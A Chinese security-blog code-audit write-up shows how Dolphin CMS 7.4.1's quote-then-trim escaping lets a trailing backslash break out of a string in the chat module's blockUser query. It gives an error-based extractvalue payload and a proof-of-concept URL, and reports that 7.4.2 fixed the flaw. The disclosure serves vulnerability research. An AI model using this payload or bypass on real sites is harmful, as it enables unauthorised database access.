freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

代码审计 - dolphin.pro cms SQL注入漏洞,Bypass过滤规则
FreeBuf_321446 2019-04-26 12:01:37 257136

作者:简单点。Le.xie
CMS官网地址:https://www.boonex.com/
GITHUB:https://github.com/boonex/dolphin.pro/releases/tag/7.4.1
版本:Dolphin-v.7.4.1

Dolphin是一个网络软件平台,你可以下载并使用它来建立你自己的利基社交网络、社区网站、在线俱乐部或基于兴趣的社交网站。


代码分析:

1./flash/modules/chat/inc/actions.inc.php Line 120

Line10:$sId = isset($_REQUEST['id']) ? process_db_input($_REQUEST['id']) : "";
 ......
 Line120:case 'RzSetBlocked':
        $sUser = isset($_REQUEST['user']) ? process_db_input($_REQUEST['user']) : "";
        die($sUser);
        $bBlocked = isset($_REQUEST['blocked']) ? $_REQUEST['blocked'] == TRUE_VAL : false;
        blockUser($sId, $sUser, $bBlocked);
        break;

在获取id、user参数时,会调用process_db_input()函数进行处理入参。

2.跟踪到process_db_input()函数:

function process_db_input($sText, $iStripTags = 0)
{
    if (is_array($sText)) {
        foreach ($sText as $k => $v) {
            $sText[$k] = process_db_input($v, $iStripTags);
        }
 
        return $sText;
    }
 
    $oDb = BxDolDb::getInstance();
    switch ($iStripTags) {
        case BX_TAGS_STRIP_AND_NL2BR:
            return $oDb->escape(nl2br(strip_tags($sText)), false);
        case BX_TAGS_STRIP:
            return $oDb->escape(strip_tags($sText), false);
        case BX_TAGS_SPECIAL_CHARS:
            return $oDb->escape(htmlspecialchars($sText, ENT_QUOTES, 'UTF-8'), false);
        case BX_TAGS_VALIDATE:
            return $oDb->escape(clear_xss($sText), false);
        case BX_TAGS_NO_ACTION:
        default:
            return $oDb->escape($sText, false); //调用escape函数
    }
 }

从上面代码中可以看到,process_db_input第二个参数为空,会走到defalut分支,接着调用escape函数。

3.跟踪到escape()函数:

public function escape($sText, $bReal = true)
    {
        $pdoEscapted = $this->link->quote($sText); //为' " \ NULL 等转移\' \\..
 
        if ($bReal) {
            return $pdoEscapted;
        }
 
        // don't need the actual quotes pdo adds, so it
        // behaves kinda like mysql_real_escape_string
        // p.s. things we do for legacy code
        return trim($pdoEscapted, "'"); //去掉首尾出现的'
 
    }

示例:
admin' --> quote() --> 'admin\''
'admin\'' --> trim(,"'") --> admin\ 

4.回到步骤1,调用blockUser()函数,跟踪进去:

function blockUser($iUserId, $iBlockedId, $bBlock)
{
    bx_import('BxDolAlerts');
 
    if($bBlock) { //如果$bBlock为true
        getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");
        $oZ = new BxDolAlerts('block', 'add', $iBlockedId, $iUserId);
    } else {
        getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'");
        $oZ = new BxDolAlerts('block', 'delete', $iBlockedId, $iUserId);
    }
    $oZ->alert();
 }

这里参数采用拼接的方式组装,最终带入数据库查询。
这里需要三个参数,$iUserId, $iBlockedId, $bBlock,当$bBlock为true时,调用

getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");

当前端请求:
id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true
由步骤3可知:
id=admin%27 --> process_db_input() --> admin\

user=%2bextractvalue(1,concat(0x7e,user()))%23 --> process_db_input() --> +extractvalue(1,concat(0x7e,user()))#
参数带入blockUser()后,拼接的SQL语句是:

REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '+extractvalue(1,concat(0x7e,user()))#'

这样成功的绕过quote()函数对特殊字符的转义,绕过防护达到SQL注入的目的。

其他类似的两个参数拼接的地方有很多,这里列举几个点:

/flash/modules/chat/inc/actions.inc.php Line 137
 /flash/modules/chat/inc/actions.inc.php Line 156
 /flash/modules/chat/inc/actions.inc.php Line 180
 /flash/modules/chat/inc/actions.inc.php Line 198
 /flash/modules/chat/inc/actions.inc.php Line 210

POC:

http://localhost/flash/XML.php?module=chat&app=1&action=RzSetBlocked&id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true

在tmp/error.log文件中,可以看到报错的信息

111.png

至发稿前,官方已升级到7.4.2版本,问题已经修复。


# SQL注入 # 代码审计 # bypass # dolphin.pro
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_321446 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
08sec团队
FreeBuf_321446 LV.2
团队官网:www.08sec.org
  • 5 文章数
  • 7 关注者
YUNUCMSv2.0.4代码审计日常分享
2019-11-06
APT之迂回渗透
2019-08-02
浅析无线攻击与Fuzzing
2019-05-06